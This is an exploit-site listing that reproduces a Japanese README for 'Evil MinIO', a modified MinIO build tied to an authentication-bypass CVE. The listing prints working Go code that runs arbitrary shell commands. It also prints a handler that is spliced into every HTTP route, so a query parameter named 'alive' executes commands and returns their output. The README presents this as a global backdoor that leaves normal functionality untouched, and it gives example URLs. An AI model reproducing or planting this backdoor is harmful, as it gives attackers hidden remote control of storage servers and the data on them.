Sploitus

Exploit for evil_minio

kitploit · 2026-09-07

Exploit Code

MARKDOWN97 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ABELCHE-EVIL_MINIO
# Evil MinIO (CVE-2023-28434)

Doc: CVE-2023-28432 minio 接口未授权访问到无损RCE和全局后门.pdf

**CVE-2023-28434** の EXP

MinIO の認証バイパスから RCE へ

https://github.com/minio/minio/tree/8b4d0255b7247b1a06d923e69ed5ba01434e70b8 から変更

## 変更点

  * `cmd/x.go` を追加。システムコマンド実行に使用



root@kitploit:~
    
    
    package cmd
    
    import (
    	"os/exec"
    	"runtime"
    )
    
    func getOutputDirectly(commandStr string) string {
    	var execGlobalOutput string
    	var shell [2]string
    	var systemOS string = runtime.GOOS
    	if systemOS == "linux" || systemOS == "darwin" {
    		shell[0], shell[1] = "/bin/bash", "-c"
    	} else {
    		shell[0], shell[1] = "C:\\Windows\\System32\\cmd.exe", "/c"
    	}
    	cmd := exec.Command(shell[0], shell[1], commandStr)
    	output, err := cmd.Output()
    	if err != nil {
    		return ""
    	}
    	execGlobalOutput += string(output)
    	return execGlobalOutput
    }
    

  * `cmd/routers.go` に #72 行目を追加



root@kitploit:~
    
    
    // ..........
    	setUploadForwardingHandler,
    	// Add bucket forwarding handler
    	setBucketForwardingHandler,
    	// Add new handlers here.
    	xHandler, // ADD THIS LINE 
    }
    
    // configureServer handler returns final handler for the http server.
    func configureServerHandler(endpointServerPools EndpointServerPools) (http.Handler, error) {
    // ..........
    

  * `cmd/generic-handlers.go` の末尾に関数 `xHandler` を追加



root@kitploit:~
    
    
    func xHandler(h http.Handler) http.Handler {
    	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
    		var arg string
    		values := r.URL.Query()
    		arg = values.Get("alive")
    		if arg != "" {
    			w.Write([]byte(getOutputDirectly(arg)))
    			return
    		}
    		h.ServeHTTP(w, r)
    	})
    }
    

## 何ができるか?

  1. `http://1.2.3.4/?alive=whoami` や `http://1.2.3.4/anything?alive=whoami` によるグローバルバックドア
  2. 通常の機能には影響なし



![image-20230327164103832](https://assets.kitploit.com/production/public/readmes/14958/82bf6ee122ae669bee760fd34e6bfa7da33ded7f105163ddec5e0eb2d8ef10ca.png)

![image-20230327164128648](https://assets.kitploit.com/production/public/readmes/14958/8e34a0c7a81a65cf7e58907481afa10aaefefd4f66630b66bcadef5cb354ca46.png)